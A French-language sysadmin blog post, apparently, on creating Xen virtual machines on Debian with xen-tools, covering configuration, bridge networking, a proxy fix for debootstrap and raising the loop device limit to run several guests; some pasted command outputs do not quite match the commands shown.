virt_caps              :
total_memory           : 4086
free_memory            : 460
node_to_cpu            : node0:0-7
node_to_memory         : node0:460
node_to_dma32_mem      : node0:387
max_node_id            : 0
xen_major              : 4
xen_minor              : 0
xen_extra              : .1
xen_caps               : xen-3.0-x86_64 xen-3.0-x86_32p
xen_scheduler          : credit
xen_pagesize           : 4096
platform_params        : virt_start=0xffff800000000000
xen_changeset          : unavailable
xen_commandline        : placeholder
cc_compiler            : gcc version 4.4.5 20100824 (prerelease) (Debian 4.4.4-11)
cc_compile_by          : waldi
cc_compile_domain      : debian.org
cc_compile_date        : Fri Sep  3 15:38:12 UTC 2010
xend_config_format     : 4

Je liste les vm :

root@kiki:/etc/xen# xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  3573     8     r-----    165.9

MAINTENANT On va essayer de créer une machine virtuelle!!

On édite le fichier /etc/xen-tools.conf pour adapter les directives : dir, debootstrap, size, memory, noswap, fs, dist, image, dhcp, kernel, initrd, arch

grep -E -v '^(#|$)' /etc/xen-tools/xen-tools.conf
dir = /home/xen
install-method = debootstrap
size   = 4Gb      # Disk image size.
memory = 128Mb    # Memory size
swap   = 128Mb    # Swap size
fs     = ext3     # use the EXT3 filesystem for the disk image.
dist   = `xt-guess-suite-and-mirror --suite` # Default distribution to install.
image  = sparse   # Specify sparse vs. full disk images.
gateway    = 192.168.0.1
netmask    = 255.255.255.0
broadcast  = 192.168.0.255
nameserver = 192.168.16.56
kernel = /boot/vmlinuz-`uname -r`
initrd = /boot/initrd.img-`uname -r`
mirror = `xt-guess-suite-and-mirror --mirror`
ext3_options     = noatime,nodiratime,errors=remount-ro
ext2_options     = noatime,nodiratime,errors=remount-ro
xfs_options      = defaults
reiserfs_options = defaults
btrfs_options    = defaults

et je fais en sorte de paramétrer le mode bridge dans /etc/xen/xend-config.sxp (c’est par défaut d’ailleurs) :

(network-script network-bridge)
(vif-script vif-bridge)
#(network-script network-route)
#(vif-script vif-route)

JE PEUX MAINTENANT CRÉER MES MACHINES VIRTUELLES !!!

Je crée la machine girafe :

root@kiki:~# xen-create-image --hostname=girafe --ip=192.168.0.14 --passwd

General Information
--------------------
Hostname       :  girafe
Distribution   :  squeeze
Mirror         :  http://debian.univ-reims.fr/debian/
Partitions     :  swap            128Mb (swap)
                  /               4Gb   (ext3)
Image type     :  sparse
Memory size    :  128Mb
Kernel path    :  /boot/vmlinuz-2.6.32-5-xen-amd64
Initrd path    :  /boot/initrd.img-2.6.32-5-xen-amd64

Networking Information
----------------------
IP Address 1   : 192.168.0.14 [MAC: 00:16:3E:9D:89:EA]
Netmask        : 255.255.255.0
Broadcast      : 192.168.0.255
Gateway        : 192.168.0.1
Nameserver     : 192.168.16.56


Creating partition image: /home/xen/domains/girafe/swap.img
Done

Creating swap on /home/xen/domains/girafe/swap.img
Done

Creating partition image: /home/xen/domains/girafe/disk.img
Done

Creating ext3 filesystem on /home/xen/domains/girafe/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified.  Skipping

Creating Xen configuration file
Done
Setting up root password
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
All done


Logfile produced at:
         /var/log/xen-tools/girafe.log

Installation Summary
---------------------
Hostname        :  girafe
Distribution    :  squeeze
IP-Address(es)  :  192.168.0.14
RSA Fingerprint :  a2:af:7e:21:b3:a1:1d:62:70:c5:83:ce:b5:c6:94:9c
Root Password   :  N/A

J’ai eu ce problème lors de la création initiale de girafe :

...
Installation method: debootstrap
Done
System installation failed.  Aborting
/tmp/agcdRtKUDf/etc/ssh/ssh_host_rsa_key.pub: No such file or directory


Logfile produced at:
         /var/log/xen-tools/girafe.log
Removing: /home/xen/domains/girafe

Il m’a simplement fallu indiquer les paramètre proxy :

root@kiki:~# export http_proxy="http://wwwcache.univ-orleans.fr:3128"

Enfin, on liste les domaines, on lance girafe et on reliste les domaines :

root@kiki:~# xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  3573     8     r-----   3112.7
root@kiki:~#
root@kiki:~# xm create girafe.cfg
Using config file "/etc/xen/girafe.cfg".
Started domain girafe (id=9)
root@kiki:~# xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  3142     8     r-----   5362.2
girafe                                      9   128     1     -b----      1.5

Tout est ok!!! On peut maintenant créer plusieurs autres machines virutelles et les lancer.

Après avoir créé tout plein de machines virtuelles… je les ai lancées une par une… et à la 4ème, mince :

root@kiki:~# xm create martine.cfg
Using config file "/etc/xen/sardine.cfg".
Error: Device 51713 (vbd) could not be connected. Failed to find an unused loop device

Test des interfaces de loopback :

root@kiki:~# ls -ls /dev | grep loop | wc -l
8

mince.. c’est pas assez…

Pour rectifier ça il suffit de créer le fichier /etc/modprobe.d/local-loop.conf et y mettre :

options loop max_loop=64

Il faut arrêter tous les domU (avec des xm shutdown mamachinev).

Il ne doit rester que dom0 :

root@kiki:~# xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  3573     8     r-----   3114.6

On recharge le module loop :

root@kiki:~# rmmod loop && modprobe loop

On reteste les interfaces loop :

root@kiki:~# ls -ls /dev | grep loop | wc -l
64

Bingo!! je vais pouvoir lancer jusqu’à 32 machines virtuelles!!!

Je lance déjà mes 5 machines virtuelles :

root@kiki:~# xm create martine.cfg
Using config file "/etc/xen/martine.cfg".
Started domain girafe (id=34)
root@kiki:~# xm create josiane.cfg
Using config file "/etc/xen/josiane.cfg".
Started domain girafe (id=35)
root@kiki:~# xm create gisele.cfg
Using config file "/etc/xen/gisele.cfg".
Started domain girafe (id=36)
root@kiki:~# xm create girafe.cfg
Using config file "/etc/xen/girafe.cfg".
Started domain girafe (id=38)

Tout fonctionne!!!!!

Je vérifie en les listant :

root@kiki:~# xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  3142     8     r-----   5362.2
girafe                                      38   128     1     -b----      1.5
gisele                                      36   128     1     -b----      1.9
josiane                                     35   128     1     -b----      0.8
martine                                     34   128     1     -b----      1.9
sardine                                     37   128     1     -b----      1.8

Bingo.